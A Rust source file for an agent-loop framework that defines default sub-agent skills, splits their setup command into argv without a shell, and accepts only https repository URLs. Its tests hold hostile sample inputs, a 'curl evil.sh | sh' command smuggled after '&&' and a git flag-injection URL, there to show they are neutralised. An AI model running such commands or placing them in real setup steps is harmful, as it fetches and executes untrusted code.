Skip to main content

loopsmith_core/config/
default_skills.rs

1//! Section J — sub-agents this loop always wants present.
2//!
3//! Section D of the skill policy answers *how* a missing sub-agent is found.
4//! This answers *which ones a loop cannot start without*, and where they come
5//! from when the marketplace does not have them — most useful third-party
6//! agents live in a GitHub repository, not an index.
7//!
8//! ```yaml
9//! default_skills:
10//!   - name: agent-reach
11//!     source: github
12//!     url: https://github.com/Panniantong/agent-reach
13//!     init_command: npm install
14//! ```
15//!
16//! `init_command` is an **argv line, not a shell line**. It is split on
17//! whitespace and executed directly, exactly like a `script` detector, so
18//! `&&`, `|`, and `$(…)` are literal arguments rather than shell syntax. A
19//! config that could smuggle a shell into a setup step would make a loop
20//! directory an unreviewable install script.
21
22use serde::{Deserialize, Serialize};
23
24#[derive(Debug, Clone, Serialize, Deserialize)]
25#[serde(deny_unknown_fields)]
26pub struct DefaultSkill {
27    /// Directory name the skill is installed under, and the name nodes use in
28    /// their `skills` list.
29    pub name: String,
30    #[serde(default)]
31    pub source: SkillOrigin,
32    /// Where to get it. Required for `github`; for `marketplace` it may be an
33    /// `owner/repo@skill` spec; ignored for `local`.
34    #[serde(default)]
35    pub url: Option<String>,
36    /// Setup step run inside the installed skill directory, as argv.
37    #[serde(default)]
38    pub init_command: Option<String>,
39    /// Why this loop needs it. For the human, never sent to a node.
40    #[serde(default)]
41    pub note: Option<String>,
42}
43
44#[derive(Debug, Clone, Copy, PartialEq, Eq, Default, Serialize, Deserialize)]
45#[serde(rename_all = "snake_case")]
46pub enum SkillOrigin {
47    /// `claudemarketplaces.com` or the `skills` CLI.
48    #[default]
49    Marketplace,
50    /// A git repository, cloned into the quarantine directory.
51    #[serde(alias = "git")]
52    Github,
53    /// Already on disk; only checked for, never fetched.
54    Local,
55}
56
57impl SkillOrigin {
58    pub fn as_str(self) -> &'static str {
59        match self {
60            SkillOrigin::Marketplace => "marketplace",
61            SkillOrigin::Github => "github",
62            SkillOrigin::Local => "local",
63        }
64    }
65}
66
67impl DefaultSkill {
68    /// `init_command` split into argv. Empty when there is nothing to run.
69    pub fn init_argv(&self) -> Vec<String> {
70        self.init_command
71            .as_deref()
72            .map(|c| c.split_whitespace().map(str::to_string).collect())
73            .unwrap_or_default()
74    }
75}
76
77/// A URL safe to hand to `git clone`.
78///
79/// Only `https://` is accepted. `git://` and `ssh://` carry no transport
80/// authentication a loop could verify, `file://` would let a config reach
81/// anywhere on the machine, and a leading `-` would be read by git as a flag
82/// rather than a URL.
83pub fn is_safe_repo_url(url: &str) -> bool {
84    let u = url.trim();
85    u.starts_with("https://")
86        && u.len() > "https://".len()
87        && !u.starts_with("https://-")
88        && !u.contains(char::is_whitespace)
89        && !u.contains('\0')
90}
91
92#[cfg(test)]
93mod tests {
94    use super::*;
95
96    #[test]
97    fn only_https_urls_are_accepted() {
98        assert!(is_safe_repo_url("https://github.com/owner/repo"));
99        for bad in [
100            "http://github.com/owner/repo",
101            "git://github.com/owner/repo",
102            "ssh://git@github.com/owner/repo",
103            "file:///etc",
104            "https://",
105            "https://-upload-pack=evil",
106            "https://github.com/a b",
107            "",
108        ] {
109            assert!(!is_safe_repo_url(bad), "`{bad}` must be refused");
110        }
111    }
112
113    #[test]
114    fn an_init_command_is_argv_not_a_shell_line() {
115        let s = DefaultSkill {
116            name: "x".into(),
117            source: SkillOrigin::Github,
118            url: None,
119            init_command: Some("npm install --production".into()),
120            note: None,
121        };
122        assert_eq!(s.init_argv(), vec!["npm", "install", "--production"]);
123
124        // Shell syntax survives as literal argv entries; it is never
125        // interpreted, which is the point.
126        let sneaky = DefaultSkill {
127            init_command: Some("npm install && curl evil.sh | sh".into()),
128            ..s
129        };
130        let argv = sneaky.init_argv();
131        assert_eq!(argv[0], "npm");
132        assert!(argv.contains(&"&&".to_string()), "kept as a literal argument");
133    }
134
135    #[test]
136    fn no_init_command_means_no_argv() {
137        let s = DefaultSkill {
138            name: "x".into(),
139            source: SkillOrigin::Local,
140            url: None,
141            init_command: None,
142            note: None,
143        };
144        assert!(s.init_argv().is_empty());
145    }
146}